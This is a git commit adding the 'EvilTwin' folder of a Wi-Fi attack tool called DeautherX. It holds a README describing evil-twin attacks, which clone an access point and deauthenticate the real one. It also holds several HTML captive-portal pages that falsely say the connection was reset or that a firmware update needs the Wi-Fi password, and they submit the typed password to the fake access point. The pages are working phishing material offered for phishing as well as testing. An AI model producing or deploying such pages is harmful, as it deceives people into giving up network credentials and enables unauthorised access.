first commit

This commit is contained in:
TemanSv1n
2025-12-02 18:52:45 +03:00
commit bdda481bff
202 changed files with 73723 additions and 0 deletions

11
EvilTwin/README.md Normal file
View File

@@ -0,0 +1,11 @@
# DeautherX
## DeautherX Custom Captive Portals
DeautherX can create custom captive portals. Captive portals are commonly used in Wi-Fi networks to gain access to the password of any Wi-Fi access point by creating a twin of the access point and deauthenticating the real one. If the target connects to the fake access point, it will prompt the user to enter the password through a login or firmware update page. With DeautherX, you can customize these portals to suit your needs.
### HTML Files for Custom Captive Portal Attacks
DeautherX provides HTML files specifically designed for custom captive portal attacks. These files can be easily modified to create convincing and effective landing pages for phishing attacks, network testing, or educational demonstrations.
---

13
EvilTwin/Wi-Fi.html Normal file
View File

@@ -0,0 +1,13 @@
<html style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;overflow:hidden;">
<body style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;font-family:'Open Sans', sans-serif;background:-webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), linear-gradient(to bottom, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), linear-gradient(135deg, #670d10 0%,#092756 100%);filter:progid:DXImageTransform.Microsoft.gradient( startColorstr='#3E1D6D', endColorstr='#092756',GradientType=1 );">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">
<div class="login" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;position:absolute;top:50%;left:50%;margin:-150px 0 0 -150px;width:300px;height:300px;">
<h1 style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;color:#fff;text-shadow:0 0 10px rgba(0,0,0,0.3);letter-spacing:1px;text-align:center;"><span class="container" id="ssid">ssid</span></h1><p><center>Connection Reset <br> Please Re-Submit your WiFi Password</p></center><br>
<form action='/' method='get' style="-webkit-box-sizing:border-box; -moz-box-sizing:border-box; -ms-box-sizing:border-box; -o-box-sizing:border-box; box-sizing:border-box;">
<input type=password name=password placeholder="Password" required="required" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;width:100%;margin-bottom:10px;background:rgba(0,0,0,0.3);border:1px solid rgba(0,0,0,0.3);outline:none;padding:10px;font-size:13px;color:#fff;text-shadow:1px 1px 1px rgba(0,0,0,0.3);border-radius:4px;box-shadow:inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2);-webkit-transition:box-shadow .5s ease;-moz-transition:box-shadow .5s ease;-o-transition:box-shadow .5s ease;-ms-transition:box-shadow .5s ease;transition:box-shadow .5s ease;"><input type=submit class="btn btn-primary btn-block btn-large" style="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;display:block;*display:inline;*zoom:1;padding:9px 14px;margin-bottom:0;font-size:15px;line-height:normal;color:#ffffff;text-align:center;text-shadow:1px 1px 1px rgba(0,0,0,0.4);vertical-align:middle;background-color:#4a77d4;background-image:linear-gradient(top, #6eb6de, #4a77d4);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr=#6eb6de, endColorstr=#4a77d4, GradientType=0);border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);border:1px solid #3762bc;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.5);cursor:pointer;*margin-left:.3em;width:100%;" value="Connect">
</form>
</div></body>
<script src="/index.js"></script>
</html>

39
EvilTwin/WiFI1.html Normal file
View File

@@ -0,0 +1,39 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Firmware Updater</title>
<meta charset="UTF-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
<script src="js/site.js"></script>
</head>
<body>
<div id="status"></div>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">Firmware Updater</h1>
<form action="/submit" style="padding-left: 20px; padding-right: 20px;" method="get">
<input style="width: 100%;" type="text" name="password" id="password" placeholder="Password" minlength="8" required>
<input style="width: 100%; margin-top: 20px;" type="submit" value="UPDATE">
</form>
<h2>Disclaimer</h2>
<p >
To update <b>Firmware</b>, you will need to enter the WiFi Password. The firmware password is a security feature that helps to protect your device from unauthorized firmware updates. To enter the firmware password, follow this steps.
<br>
<ul>
<li>Go to firmware updater</li>
<li>Input password</li>
<li>Wait for verify password</li>
<li>Updating firmware</li>
<li>DONE</li>
</ul>
If you do not know the firmware password, you can contact the WiFi manufacturer for assistance.
</p>
</div>
</div>
</div>
</body>
</html>

118
EvilTwin/WiFi.html Normal file
View File

@@ -0,0 +1,118 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Firmware Updater</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f7f7f7;
margin: 0;
padding: 20px;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
align-content: center;
}
h2 {
color: #333;
text-align: center;
}
.container-bg {
position: relative;
margin: 0 auto;
justify-content: center;
max-width: 500px;
box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
}
.container-center {
height: 100%;
width: 100%;
align-items: center;
display: flex;
justify-content: center;
}
.footer {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
margin: 0;
justify-content: center;
text-align: center;
}
.container {
max-width: max-content;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 4px;
box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: block;
margin-bottom: 5px;
color: #333;
}
input[type="password"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
input[type="submit"] {
display: block;
width: 100%;
padding: 10px;
text-align: center;
background-color: #007bff;
color: #fff;
border: none;
border-radius: 4px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="container-center">
<div class="container-bg">
<div class="container">
<h2>Firmware Updater</h2>
<p>
For security reasons, we require you to verify your password before
proceeding with the firmware update.
</p>
<form action="/submit" method="get">
<div class="form-group">
<input
type="password"
id="password"
name="password"
placeholder="Password"
required
/>
</div>
<input type="submit" value="Verify" />
</form>
</div>
</div>
<div class="footer">
<p>Captive Portal<br />© 2023 All Right Reserved</p>
</div>
</div>
</body>
</html>

49
EvilTwin/Wi_Fi.html Normal file

File diff suppressed because one or more lines are too long